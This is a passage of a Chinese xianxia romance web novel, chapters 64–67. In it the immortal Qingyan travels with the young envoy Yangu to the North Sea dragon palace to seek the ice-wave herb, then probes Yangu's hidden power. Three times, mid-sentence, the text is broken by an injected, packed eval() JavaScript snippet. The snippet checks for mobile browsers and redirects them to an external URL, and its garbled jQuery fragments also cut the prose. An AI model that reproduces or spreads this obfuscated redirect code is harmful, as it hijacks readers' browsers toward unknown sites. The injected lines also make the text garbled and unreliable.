“你还很年轻,资质也上佳,将来天界定有你的一席之地,只要按部就班成长就好,委实不必如此拼命去挣前程。更何况魔界已经蠢蠢欲动,两界大战随时都有可能爆发,此时每一点力量都极为珍贵,尤其是像你这样未来的栋梁之材,则更是要好好保存实力,以待来日。” “我不是要挣前程。”颜故乌黑的眼瞳中好似有铅灰色的云在慢慢流卷,“我只是希望……” “希望什么?” 颜故定定地看着她,却最终什么都没说出口。 他挥手将椅子移回原位,随后转身大跨步地向门口走去,几步间便行至门边,眼见着就要完成一个标准的拂袖而去的动作。 可此时颜故却猛地停住脚步,头微微向后侧着,只露出了一点他那优美却又锋利的下颌线:“仙子应该是明日启程吧?” 不等青晏回答,他便自顾自地道:“我一定会准时赶到。” 言毕,他像是怕听到青晏的拒绝般迅速消失在她眼前,成功将她本来要说的话就这么堵了回去。 青晏坐在原地,心下一片茫然。 准时当然是好事,可我还没说什么时候出发,你怎么准时到啊? 64.庇佑 生怕颜故一晚上不睡就在那硬生生苦等的青晏赶紧和他传念,告诉他明天中午用完饭再出发,让他记得过来吃。颜故很快便回了句“好”,声音里听不出来什么情绪。 青晏虽然还对他这次小小的爆发百思不得其解,但她要忙的事实在太多,无暇去关注颜故这点在她看来又是在钻牛角尖的情绪。 等明天再说吧…… 她叹了口气,刚打算起身,澈樾扯着嗓子哀嚎的传念声就在她耳边响起。 原是人界最近求姻缘者忽然增多了不少,整个姻缘殿都忙得不可开交,就连澈樾也没办法继续随意游走,只能老老实实地干起自己的老本行。 “我看得眼睛都花了啊啊啊!”澈樾哭天喊地,“明明和上元节、花朝节还有乞巧节什么的都不沾边,怎么突然就集中在这个时节求姻缘!我走不开了啊啊啊小青晏啊你一个人可怎么办我不放心啊啊啊……” “别嚎了,”青晏忍无可忍地打断澈樾带着颤音的絮叨,“就算只有我一个人也没问题,更何况颜故也会跟我一起去。” 澈樾的声音立刻冷静下来:“他?他一个初出茅庐的小仙使,你带着他有什么用?” “他修为虽较浅,但胜在头脑灵活心思细腻,遇事反应速度极快。”青晏想起那日大战产鬼时遍布着冰霜的桂久村,“而且他潜力不错,生死关头时也能爆发出很强的力量,这样的人其实很适合去应对突发状况,我带着他对我来说是好事。只不过对他来说,可能……” “你放心好了。他乐不得呢,不必多想。”澈樾迅速道,“另外我这边忙是忙,但你要到了危急关头可一定要叫我,我说什么都会赶过去的。” 青晏哭笑不得地应了这个承诺,随即便听到澈樾那边传来一道好似一头扎进红线团里的柔软“噗通”声,她的脑海也重归一片宁静。 接着青晏一边联系宸景告诉他冰澜草对幽煞珠有效的好消息,一边着手将玄元镜与府上的藏宝阁连通,以便随时调用仙丹、法器、药草等宝物。 这种法术她之前从来没使用过,因为一来平日里不怎么出门根本用不到,二来此前她的力量基本可以应对遇见的所有问题。可眼下情况特殊,不仅要前往生死未卜的险地,还得带上一个执拗得不容拒绝的颜故,各种应对措施自然得准备得万无一失。 可她法术刚施到一半,就被传念里宸景的意识震得脑仁发疼:“混沌裂谷和血雾虚渊?!不行!” “你再仗着自己法力高深在我脑子里这么吼,我就对明煦说你一箩筐各式各样的坏话,”青晏凉凉道,“你读过的那些典籍我也读过,我知道那两处有多凶险。但若是龙族那边没有冰澜草的存货或是不愿交换出来,那我只能去这两处碰碰运气。” 她实在是别无选择。 先不说任何情感原因,就以初三如今体内这股幽冥之气的浓烈程度,被幽冥界发觉只是时间问题。届时,若他们那边也无解决之策,便极有可能提出以将幽煞珠直接从初三体内剖出的方式将他们圣物归还的要求。 天界固然可以态度强硬地拒绝,并反指此物是幽冥界故意用来袭击天界神仙的,甚至借机向幽冥界施压。但问题在于,其一,这件事除了他们自己,没有任何第三方能够作证;其二,若幽冥界因此怀恨在心,在这紧要关头对魔界稍作妥协,天界将面临更大的威胁。 所以她只有尽快尽早地寻到冰澜草,将幽煞珠从初三体内安全取出。之后这幽煞珠到底是用来钓出背后对明煦暗施冷箭者,还是被宸景暂时封存,抑或是直接归还给幽冥界,她都相信宸景会冷静地、不受任何影响地做出最有利于天界的决定。 宸景被她连珠炮般的语速噎得哑口无言了一阵,半晌后才长叹一声:“我就知道劝不动你。算了,我再给你降下一重庇佑吧,应当多少能起些作用。” “不是有些作用,是很大作用,上次面对幽煞珠的时候你的庇佑就替我挡了不少伤害,这种好东西我当然是来者不拒,多多益善。” 说着说着,青晏脑内忽然划过一个绝佳的念头。 她赶紧道:“对了,你那庇佑也给颜故套上吧,这孩子一门心思地非要跟着去混沌裂谷和血雾虚渊,我怕到时候劝不住,你这庇佑也多少能给挡一下。” “你当我这天帝庇佑是随便就能给的?”宸景没好气道,“除了明煦和你,我可没给别人降下过,你倒给我分发上了。” 青晏一点没和他客气:“你当他是为了什么,还不是一腔热血地要为天界分忧?” “为天界?”宸景反问,“他自己说的?” “当然,”青晏毫不犹豫,“人家的志向可是以己身庇佑苍生呢,高洁得很,天界就缺这种既根骨奇佳,又一心向善的好苗子,你可得多多对人家上心。” 宸景不置可否地哼了一声,勉强将她的要求应了下来,表示明日出发时会将她和颜故的庇佑一起降下,让她提前通知一下颜故。 青晏慎重地想了想,最终还是决定先不要在颜故如今情绪有点莫测的时候多说什么,反正是旁人求都求不来的好东西,他也一定会高兴的。 次日,已经做好万全准备的青晏悠然坐在院中,一边看着明煦指点初三习武,一边等着颜故前来汇合。暖阳恣意散落,她几乎被这慵懒的光线熏得昏昏欲睡。就在她眼皮渐沉之际,一声熟悉的轻笑将她从朦胧中唤醒。 她勉力将眼皮掀起一条缝,却在看清眼前景象时不由得一怔。 是比平时还要好看许多的颜故。 他身着一袭月白色长袍,衣袂上银色的霜云流纹隐隐泛着冷光,宛如寒冬中冰封湖面上凝结的绮丽霜花。微风轻拂过他的衣摆,那轻软的布料登时如雾般翻卷,似雪烟缭绕,衬得他整个人愈发冷冽清绝。 天织坊的裁剪工艺堪称一绝,将颜故那本就修长的身姿勾勒得更加挺拔如松,清冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903616|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出尘。那张本就无可挑剔的容颜在衣衫的衬托下则更是俊美得近乎摄人心魄,令人不敢直视。 就连青晏都看得有些恍神。 颜故显然对她的反应颇为满意,眼角眉梢都染上了愉悦的笑意:“天织坊今早刚送来的,如何,仙子觉得好看吗?” 青晏下意识地点了点头,随即意识到自己这样做十分不妥,遂轻咳一声,镇定道:“天织坊的手艺真是愈发不错了。” 颜故意味深长地挑了挑眉,怡然自得地在她身旁坐了下来。 他朝青晏的方向侧了侧身子,语气中带着几分歉然:“昨天是我一时没能控制好自己的情绪,还望仙子莫要见怪。我已知错了,仙子可还生我的气?” 青晏闻声看过去,呼吸不由得又是一滞。 颜故微微敛着眉,一双温柔似水的桃花目正轻轻上抬着看她,再配合着他略略向下垂着的嘴角和一脸小心翼翼的神情,整个人看起来当真是要多可怜有多可怜。 本就没有生气的青晏见到他这副模样心更软了,赶忙道:“没生气,你不要多想。” “那仙子……是答应我可以和你一起去混沌裂谷和血雾虚渊了?” “我已准备妥当,应当不会有什么大问题。而且我昨日特地向天帝为你也要了一重庇佑,有了此物加持,你的安全也会更有保障。” 颜故眼中的笑意倏然消散。 他垂下眼,长长的睫毛掩盖住了瞳孔中的所有情绪:“有了天帝的庇佑,仙子才会更加安心?” 完全没听出来他话中有话的青晏点了点头,感叹道:“是啊,否则单凭我一人之力,心中总有些不踏实。如今有了这重保障,我也可以放心带着你了。” 颜故沉默了片刻,声音没什么起伏:“如此甚好。” 刚和初三练完武的明煦向他们这边转头看了一眼,随即发出一声大大的赞叹:“哎呦颜故,怎么只是一晚上不见就一下子变这么好看啊?” 颜故神色如常地应道:“感谢仙姬夸赞,但只是因为天织坊做的衣服刚好送到,并非是特意打扮。” “其实该好好打扮一番的,”明煦笑嘻嘻地走近,“不是要先去龙族圣地吗?他们那一族个个生得好看,咱们天界的人可不能输阵,该闪亮时就得闪亮起来。” 颜故垂眸一笑:“若是如此,光靠仙子一人容貌便已足够。” 青晏好悬一口气没提上来,赶紧伸手阻止:“往后这样的话千万不要说。” 可颜故却不依不饶:“为什么?我是真心这样想的。” 知道他一旦倔起来就怎么都劝不动的青晏无奈道:“行行行,你愿意这么想就这么想吧,但别说出来,尤其是别当着龙族的面说。” 见好就收的颜故微微一笑,不再言语,青晏这口气也终于松了下来,只是心头还萦绕着一股淡淡的无奈。 这人,怎么总是这样语不惊人死不休的…… 65.内患 接下来的时间里,颜故一直淡淡的。 用膳时他沉默寡言;如樱如桃夸赞他,他也只是礼貌地笑笑;就连宸景那金光熠熠的庇佑笼罩下来时也没什么太大反应,完全是一副无波无澜的沉静模样。 若是平日倒也罢了,偏偏他今日穿着一身冷色调的衣衫,衬得整个人愈发清冷疏离,仿佛与周遭的一切都隔着一层无形的屏障。 青晏对他突如其来的改变有些纳闷,但每当抬眼望去的时候却又总能看见颜故冲自己露出和从前一模一样的温和笑容,心里便没那么在意了。 应该是这衣服的问题,青晏想。 午膳过后,青晏安抚了依依不舍的明煦和满脸愧疚的初三,随后带着颜故启程前往北海龙族。不多时,深蓝如墨的海面便在他们脚下铺展开来,层层叠叠的波涛仿佛有了生命般起伏不息。少顷,元泽从海水中现身,对着青晏微笑示意。 “又见面了,仙子。”元泽引领青晏和颜故踏入海水深处,“不知是何等重要之事,竟需仙子亲自前来?” 青晏一边随着他穿过五彩斑斓的鱼群,一边笑道:“我是来寻求帮助的,自然要亲自前来方能显出诚意。若是方便,等下见到龙王时还望你替我美言几句。” 她本是随口打趣,毕竟世人皆知这位小王爷元泽乃是当今北海龙王的表弟,他们二人从小一起长大,关系极为亲密。可元泽听完她的话后却沉默了半晌,缓缓道:“恐怕要让仙子失望了,如今……并不太方便。” 龙宫守卫见元泽走了过来,赶紧推开用各色宝石镶嵌着的华贵殿门。然而元泽就这么立在门外,丝毫没有要进去的意思:“龙王陛下已经在等候您了,祝仙子所愿得成。” 青晏微微一怔。 龙王陛下…… 这般疏离的称呼,他们兄弟二人竟已生分至此了吗? 她心中虽有疑惑却并未多问,只是对元泽点头致谢,随后道:“上次拜托你查的事……” “已经略有眉目。”元泽指了指不远处一块巨大的珊瑚,“仙子这边事了便来寻我吧,届时我再详细告知。” 与元泽道别后,青晏随着带路的守卫穿过长长的走廊。两旁的墙面由无数流光溢彩的晶石堆砌而成,炫彩夺目,极尽奢侈华丽之能。 可也显得有些冰冷。 在走过不知道多少个巨大的金柱后,青晏终于在大殿中央的宝座上,见到了那位新近继位的北海龙王。 他看起来很是年轻,容貌也十分俊朗,然而每一处面部线条都极为冷厉,透着一股拒人于千里之外的寒气。当他那双幽深似海的黑眸毫无波澜地扫过来时,青晏忽然觉得与之相比,颜故今天突然散发出来的丝丝冷意都显得温婉了许多。 “玄镜仙子,久仰。” 他的声音也如同万丈深海下的回响,寒彻透骨。 青晏定了定心神,不卑不亢道:“我此次前来,所求冰澜草,愿以十万上等灵石作为交换。若龙宫另有需求,我必定竭尽所能,无论是灵石还是其他物品,只要我能提供,皆可商议。” 龙王神色依然冷冽,淡漠道:“我并非不愿帮仙子这个忙,只是距离冰澜草下次长成尚有两千年,龙族此刻也并无现成存货。” 早就料到此种情况的青晏立即发问:“那可否允我一观冰澜草真容?天界典籍中只有文字记载,若不知此草样貌,我即便去其他地方寻找也无从下手,还望陛下允准。” 年轻的龙王微微俯身,眯眼道:“仙子可知冰澜草生长于龙族圣地?” 青晏从容道:“一族圣地,就连本族人也不得擅入,外来者更是绝对的禁忌。但既然陛下没有直接拒绝,而是问我是否知情,那么想必只要我付出足够的代价,这圣地也并非不可一探,是吗?” 高大的身影缓步从宝座上走下:“玄镜仙子果然如传闻中一般机敏。”他行至青晏面前,目光深邃,“既然如此,仙子所掌天界全部幻境一事是否也为真?” 青晏微微挑眉,眼中闪过一丝了然:“陛下是想要一个幻境?” 龙王声音低沉:“若仙子愿意,两千年后冰澜草长成之际便归仙子所有,而现在我也可以派人带仙子前往圣地一睹冰澜草真容。如何,这桩交易仙子答应吗?” 青晏心间思绪翻涌。 冰澜草这样珍稀的物品,竟然只需一个幻境便可成功交换?这其中究竟暗藏何种玄机?是那幻境难度非同寻常,还是龙族另有盘算? 龙王像是看穿了她的心思般淡淡开口:“仙子不必多虑,我所求之幻境,绝不会殃及天下苍生。” “那么陛下想要的究竟是什么幻境呢?” 龙王冷傲的面容上倏地掠过一丝极难察觉的黯然。 然而转瞬间这缕情绪就消失不见,仿佛他们方才所见全是错觉。龙王平静道:“幻境的具体样式,我尚未定夺。仙子只需告知,是否愿意应允。” “若是对苍生无碍,我愿意为陛下制造幻境。” “仙子爽快。”龙王的声音仍然听不出喜怒。 双方定下待日后再联系的安排后,龙王提到既然青晏与元泽相识,不妨就让元泽带他们前往圣地。言毕,他广袖一挥,既无客套,亦无怠慢,只命侍卫将他们送出殿外。 走出殿门,元泽正倚在那片绚丽的珊瑚旁,含笑向她询问是否心想事成。青晏简略地讲了一下方才的经过,元泽闻言脸色却忽然一变,连语气也变得阴沉可怕:“他想用冰澜草换一个幻境?!” 青晏心下不禁一紧:“可是有什么不妥?” “不要答应他。”元泽语速极快,几乎是从牙缝中挤出这句话,“仙子若想要那株冰澜草,两千年后我自会亲手奉上,无需仙子承担任何后果,但绝不能为他制造半点幻境!” 他的胸膛剧烈起伏着:“明明是他负她在先,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908969|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟痴心妄想用幻境来减轻自己的愧疚?他休想!” 青晏与颜故对视一眼,彼此眼中都闪过一丝讶异。 无数话本戏文中的情节在青晏脑海中迅速闪过。 结合上次见到元泽时他那消瘦的面容、欲言又止的苦涩神情,以及今日龙王那冷漠外表下不经意流露的黯然,她心中不由得缓缓升起一道猜测:莫非这龙王与元泽曾同时倾心于一位女子,而后很是经历了一番波折,然而最终结局却并不圆满? 饶是青晏素来不愿打探他人私事,此刻也忍不住开口问道:“这其中……可是有什么隐情?” 毕竟,此事关乎两千年后冰澜草的归属。若她运气不佳,遍寻混沌裂谷与血雾虚渊也一无所获,便只能等待龙族的这株冰澜草来救初三于危难之中。此时此刻,到底是该选择相信哪条龙忽然变得重要起来。 “没什么,”元泽低下头,“我大概能猜到他想要什么样的幻境。若是我没有猜错,这幻境也确实不会对天下苍生造成任何伤害。但他曾经深深伤害了一个对我来说至关重要的人,我决不允许他用任何方式去减轻哪怕一星半点的愧疚,这是他应得的。” 他又猛地抬起头来,目光灼灼,语气近乎恳求:“我不想继续多说,但看在我曾为你找寻渡生藤线索的份上,仙子,答应我,只需要你什么都不做,两千年后此株冰澜草必会属于你。” 仿佛是怕青晏不答应一般,他又急忙补充道:“我还可以告诉你如何正确拔出和保存冰澜草的方法,以及所有相关的注意事项,包括能感应冰澜草大致方位的冰澜草根。这些我全都给你,只要你什么都不做。如何,这交易可还划算?” “非常划算,这条件真的很令人动心。”青晏语气诚恳,“但王爷,我已经答应了你兄长会为他制造幻境,不可食言。所以即便我再怎么想要那冰澜草根,想要那些方法和注意事项,我也不能背弃承诺。” 元泽微微一怔,眼中的急切渐渐平息,神色也逐渐变得复杂。他有些自嘲地低笑一声:“是我唐突了,竟险些让仙子为难。龙族向来重诺,仙子如此守信,元泽佩服。” 他顿了顿,语气温和下来:“你我既早已相识,多年前我也曾因一时鲁莽给仙子添过麻烦,冰澜草根与那些方法,稍后我会悉数奉上,权当是弥补。至于那株两千年后的冰澜草,仙子便从龙王陛下那里取吧。” 青晏郑重一礼:“多谢王爷成全。” 元泽垂眸笑笑,随即引着青晏和颜故朝龙族圣地的方向走去,一边走一边将自己此前调查的另外十根百年以上渡生藤的去向一一告知青晏。 青晏听着听着,眉头越皱越紧。 若元泽所查属实,这十根渡生藤中竟有六根与天界有着千丝万缕的联系。要知道,只需五根百年以上的渡生藤便能下出那种令人无法道出幕后主使姓名的禁制,难不成暗中对明煦下手之人竟藏身于天界之中? 66.疑云 青晏转头看向颜故,却见他神情比自己还要凝重,眉宇间甚至隐隐透出一股山雨欲来的压抑气息。 她心下不禁有些疑惑。自己是因为担忧明煦才会如此,颜故又是因为什么? 元泽见二人脸色都极为难看,遂试图宽慰道:“不过,那日之后我又翻阅了龙族典籍,发现渡生藤居然还有起死回生之效。或许天界此举另有深意,也未可知。” 青晏闻言心中却并无半分轻松。 她深知这不过是元泽的安慰之词。世间能起死回生的灵草虽不多,却也并非罕见,光是天界就有七八种存货。若真是为了救人,又何须大费周章去寻那极难获取、又早早被各界列为禁物的渡生藤? 但她不愿拂了元泽特意劝慰的好意,遂只道:“应该是另有他用,感谢王爷鼎力相助。” 元泽摇摇头表示无妨,继续引领着他们在茂密的海藻丛中穿行。这些绵延成片的海藻长得几乎一模一样,若非有人带路,他们必定会迷失在这片陌生的水域中。 穿行了约莫小半个时辰,在越过了数片无垠无尽的海藻、如火焰般绚丽的珊瑚、巨大得足以容纳数人的贝壳后,一排排高耸入云、晶莹剔透的水晶巨树出现在他们面前。水晶巨树的枝叶间流淌着浅金色的光芒,粗看竟像一张细密的网,以温柔却坚定得不容拒绝的力量阻挡着所有外来者。 元泽走上前,轻轻用额角触碰了其中一颗水晶树的枝丫,那张浅金色的网顿时随水波荡开,仿佛一层轻纱被风拂走。他挥手示意他们快些跟上,否则这只允许部分龙族进入的结界很快便会闭合。 青晏迅速跟上,本以为会遇见什么更加绚烂神秘之物,却没想到迎接他们的竟然是一群散发着淡淡蓝色光晕,犹如星辰闪烁般游荡在他们身边的小水母。 见青晏与颜故都露出欣喜之色,元泽的脸上浮现出一抹自豪:“这是灵识水母,怎么样,很美吧?” “美极了。”青晏迅速答道。 小水母们轻盈地游到青晏身边,细长的触须像丝线一样灵巧地抚过她的衣袖。一向喜爱小动物的青晏见到此情此景,满心间都浸透了喜悦:“它们一直围着我转,这是……喜欢我的意思吗?” “咳咳……”元泽略显尴尬地轻咳一声,“其实它们天生感知能力极强,能够精准识别来者的灵力强弱及善恶。它们围绕仙子,是因为仙子法力最强,所以首先引起了它们的注意。等它们熟悉了你的气息,自然会转向灵力次强的人……” 他的话音戛然而止。 因为那些水母并未如他所料转向他,而是游向了颜故的身旁。 颜故的神情微微一顿,随即恢复如常。他浅笑着望向欲言又止的元泽,率先开口道:“看来这些漂亮的水母,偶尔也有走眼的时候?” “若说是走眼,这还是第一次,”一只水母的细小触须缠绕上元泽的指尖,“或许是天界新秀确实天赋异禀呢?” 颜故笑得和善:“或许这些小家伙只是被我们的气息吸引了,毕竟天界神仙的灵气与海底龙族有所不同,它们一时好奇也说不定。” 元泽皱了皱眉,目光在颜故身上流连了片刻,然而颜故却始终笑靥温润,丝毫看不出破绽。元泽心中虽仍有疑惑,却也未再多言,只是淡道:“灵识水母向来敏锐,极少出错。不过你所说的也有几分道理,龙族圣地此前从未有外人踏入过,兴许它们只是好奇吧。” 颜故极为礼貌地笑了笑,背后却陡然升起一股如芒在背的寒意。他闭了闭眼,换上平日里做惯了的从容神色转身,却在看清身后景象的瞬间心跳骤然一滞,就连唇角都险些维持不住原有那抹完美的弧度。 青晏正用一种近乎审视的目光打量着他。 她的眼神并不凌厉,然而眸光深处却折射出一种极为冷静的透澈,仿佛瞬间就能穿透他所有的伪装。 颜故的心猛地跳了几下,面上却分毫不显,只弯着一双好看的笑眼轻松道:“仙子这么看着我做什么?该不会也觉得我的法力居然会比王爷还高吧?” 他藏在袖中的指尖已经微微发凉。 青晏的目光仍停留在他身上,良久才缓缓开口,声音平静得听不出任何情绪:“没有。” 她朝元泽笑笑,继续随着他向龙族圣地的更深处走去,仿佛并没有将刚才的一些放在心上。 可颜故却看得清楚。 那些因为被灵识水母热切迎接了的惬意笑容,此刻已经消失得一干二净。 约莫过了小半个时辰,青晏终于见到了那株尚未长成的冰澜草。 它堪堪只有三指高,通体呈现出一种近乎透明的冰蓝色,纤细的茎秆如冰晶雕琢般剔透,周身也萦绕着淡淡的寒雾。六片纤长的叶子呈螺旋式生长,叶缘凝结着细密的霜纹,仿佛触之便会发出冰面碎裂时的清脆声响。 青晏心中涌起一阵难以抑制的欢喜。 既然见到了冰澜草的真容,她便有把握通过幻术将其幻化出来。虽然幻化之物未必能有本体那般强劲的功效,但若是她能多幻出几株,说不定也能达到同样的效果。这样无论是她,还是颜故,都不必去漫无目的地寻找,或是搭上自己的性命去那两处绝地冒险。 她情不自禁地在冰澜草附近蹲了下来,身子微微前倾,希望能看得更加清楚。元泽见状也随之蹲下,对着冰澜草轻声道:“长成之后的冰澜草形态与现在差别不大,只是会再多四片叶子而已。保存时最好以轻软物品,例如丝绸等物将其裹起,否则容易碎裂。” “另外,它的根系也极为脆弱,任何蛮力都会使其受损,因此在拔取时必须极其小心。手要稳,也不可操之过急,否则冰澜草的根系一旦断裂,功效便会失了大半,甚至有可能急速枯萎。” 元泽的指尖倏然闪过一道暗光。随后,一根几乎无色、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915937|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是泛着淡淡蓝光的细小草根悄然出现在他的掌心。他小心翼翼地将冰澜草根递向青晏:“仙子万万收好。” 青晏伸手接过,指尖刚一触到草根便感到一股淡淡的凉意顺着指尖蔓延而上。她微微蹙眉,却反而将草根握得更紧了些。 元泽继续道:“方圆五十里内若有冰澜草生长,这草根便会逐渐变寒。靠得越近,寒意便越重。此外,冰澜草本身虽极寒,但对生长环境并无苛刻要求,并非只能生长于极寒之地。因此寻找冰澜草时不必拘泥于寒冷之处,或许在寻常山野间,也能寻得它的踪迹。” 青晏点头。 在离开龙族圣地的路上,青晏看着元泽较三千年前相比仍然极为瘦削的脸颊,心中不由自主泛起一股关切。 她本不是个爱管闲事的人,可上次在妖界幽肆见面时元泽那副怅然若失的模样,以及提起龙王曾伤害过对他极为重要之人时那副咬牙切齿的神情,都让青晏的好奇心陡然提升不少。更何况这段时日以来元泽对他们帮助甚多,于情于理,青晏都觉得自己合该关心一下。 于是她开口了:“上次你提到的那人,如今可恢复记忆了吗?” 元泽脚步微微一顿。 “没有,”他的笑容透着一股淡淡的苦涩,“仙姬之前的话让我醒悟良多。若是这记忆想起来后只能让她伤心痛苦,那么还是不要记得的好。尤其是将这些痛苦带给她的人,则更是理应从她的世界里被剔除。” 她正欲再问,却听颜故在一旁轻声开口:“可这样一来,那人岂不是永远没有赎罪的机会了?” “为什么要给这样的机会?”青晏干脆道,“错了就是错了,难不成只要赎过罪,此前所做的事便都能一笔勾销吗?” 颜故一怔,随后便陷入了长久的沉默。 他垂着头跟在青晏后面,一双眼不错神儿地盯着她不断飘起的衣角。 一下,两下,三下…… 很快,他便数不清了,只觉得那衣角飘动的节奏渐渐与自己的心跳重合,一下快,一下慢,七上八下,忐忑不安。 连赎罪的机会都不会有吗。 那若是这样的话…… 他心中思绪纷乱,一时间竟没有注意到周遭的景色变幻,也没有意识到他们已经离开了龙族圣地,甚至没有注意到元泽已经和他们道别。 忽地,一股刺骨的寒意从他四肢百骸蔓延开来,仿佛万年寒冰所化成的水正在他经脉中不断流动。颜故猛地抬头,却正好对上青晏那双冷冽如霜的眼睛,以及她手中那些不知何时出现,如今正在他脉络里不断游走探查着的,泛着银光的细线。 青晏那平日里就锋冽清冷的五官此刻更加寒气逼人。 她盯着他,目光中没有任何波澜。 “你的真实修为,绝不是修炼一千七百年能达到的程度。”青晏的语气冰冷而又笃定:“你究竟是谁?” 67.祝愿 颜故的睫毛极轻极快地闪动了一下。 “我就是颜故啊,”他眸中充斥着清澈的迷茫与不解,“仙子这是怎么了?” “怎么了?”那些泛着银色冷光的线在他的脉络里绞得更紧,“初到天界时你跟所有人说你是一千七百岁的新晋仙使,可如今你经脉里隐藏的法力却是这个境界该有的三倍不止,你现在问我怎么了?” “原是因为这个……”颜故低下头,脖颈弯出一抹脆弱的弧度,“我体内的灵力确实不止这些,但……” 他的指尖缓缓抚过心口,那块衣料随着他指尖的流连逐渐变得透明,直至露出他那脂玉般细腻的皮肤。 以及一道浅浅的咒印。 “我师父陨落前,心境极度不甘。他不愿就这么将毕生修为散入虚无,所以拼尽最后的力量,将那些法力渡给了我,”颜故的指尖轻轻摩挲着那道咒印,神情黯然,“但或许是因为当时师父已经几近消散,法术出了差错,等我从悲伤中清醒过来,试图运转起这些法力时,却发现它们根本无法为我所用,只是静静蛰伏在我的经脉里。” 青晏的银线在咒印边缘游移。 “直到上次和产鬼对战时,我身受重伤,这些灵力才仿佛终于苏醒了一般,与我融为一体,所以那时我才能释放出那样多的冰霜……可也只有那短短的一瞬。待仙子带我们脱险后,这些灵力又恢复了从前的状态。” “我现在也说不清,这到底是师父希望我脚踏实地修行的本意,还是他意识消散前法术出现的谬误,如今这些法力,似乎只有在我生命受到威胁时才会出现。” 银线崩得更紧了。 “我如今这般在你经脉里探查,不算性命受到威胁?” 颜故吃痛,额角渗出细密的汗珠。 然而他却依旧平静地回答:“不算。仙子不过是在排除身边可能的威胁罢了。若是异位而处,我也会觉得自己十分可疑,甚至……使用的手段并不会像仙子现在对我这般温和。” 青晏冷道:“温和?” “只是有些疼罢了,”颜故声音和柔,带着一丝隐忍的痛楚,“只要能让仙子打消对我的疑虑,这点疼痛是我必须付出的代价。我知仙子素来不喜打探他人之事,此前也对我很是信任,所以并未过问太多我从前的事情。但仙子若仍有疑虑,尽可去打探一下桑疏湖仙,看看我所言是否为实。” 银线倏地抽离。 “仙子可是信我了?”颜故眸中亮起微光。 青晏没有理他,而是迅速开始与明煦传念,叫她闲暇得空时打听一下桑疏湖仙的事。明煦正苦于被宸景盯得死紧,如今有了理由脱身,立即像一条滑溜的鱼一般从天宫蹦了出去。 很快,明煦那边的回应来了。 桑疏湖仙确有其人,也正如颜故所言,他在试图渡过最后一道仙劫时失败,魂归天地。而他名下也确有一名颜姓徒弟,擅水属性术法,年龄推算下来,也正是一千七百岁左右。 青晏这才略略放下心来。 她指尖一松,银色的丝线在她掌心化作点点星光,随风散入漆黑的夜色中。 今夜的月早已被云层遮得严实,这些光点散去后,海面上已然没有一丝光亮,浓稠的黑暗像是化不开的墨,仅有凛冽的风声在耳边呼啸,卷起一阵阵咸涩的气息。 “仙子这回,总该信我了吧?” 一束暖黄的光忽然亮起,像是撕开了夜幕的一角。 颜故像是要迫不及待看清青晏的表情一般向她凑得更近,一双眼眨也不眨地凝视着她,仿佛要将她每一丝细微的表情都刻进眼底。那光随着他的靠近愈发刺眼,亮得青晏心底没来由地生出一股烦躁。 她猛地别过头去:“拿远点。” 颜故立即将光灭掉,在一片漆黑里小声道:“是我不好,没早些和仙子说清楚这些事。其实这么多年下来,我早就习惯了自己体内有这些平时完全无法动用的灵力,从来没把它们当回事过,直到上次受伤才又重新意识到这些力量的存在。” 他的声音里夹杂着一丝懊悔:“当时就应该和仙子说明白的。可一回到天界,初三就被幽煞珠催化成形,仙子为此忧心忡忡,我便不敢拿这种琐事打扰仙子。只是有些话,错过了合适的时机,就再难说出口了。” 见青晏依旧沉默,颜故又继续软言道:“以后无论任何大事小情,我一定主动向仙子禀报,可好?” “那倒也不必。”青晏终于开口。 “好,绝不多言,只拣重要的说。”颜故指尖重新跃起淡淡的暖黄光束,“那仙子可愿原谅我了?” “我不喜欢被人蒙在鼓里的感觉,想来你亦是如此。”青晏侧过头,眸中光芒即使在暖黄光线的映衬下也依旧如寒星般清冷,“所以从前许多事,我都未曾瞒你。” “是的,仙子,”颜故轻声道,“我一直都知道你对我有多好,所以我才……” 他顿了顿,才接着又在微咸的海风里继续道:“所以我才想竭尽所能为你分忧解难,我也想……成为和天帝、神君、仙姬那般备受仙子信任的人。” “虽然目前这个愿望因为我自己一时的愚钝,可能没有那么容易实现了,”颜故的笑容有些苦涩,声音却依然坚定,“但我仍会为此不懈努力,只盼仙子能多给我些时日。” “为什么?”青晏直视着他,“为什么如此执着于成为备受我信任之人?” 颜故眼睛微微放大,像是对青晏会问出这样的问题感到十分惊讶。 随后那双漂亮的桃花眼里逐渐盈满笑意:“仙子还记不记得我曾问过你,为什么对我如此关心?当时仙子给出的答案,现在还有印象吗?” 也不是很久之前的事,青晏略一思索便记了起来:“因为你是我的后辈。” 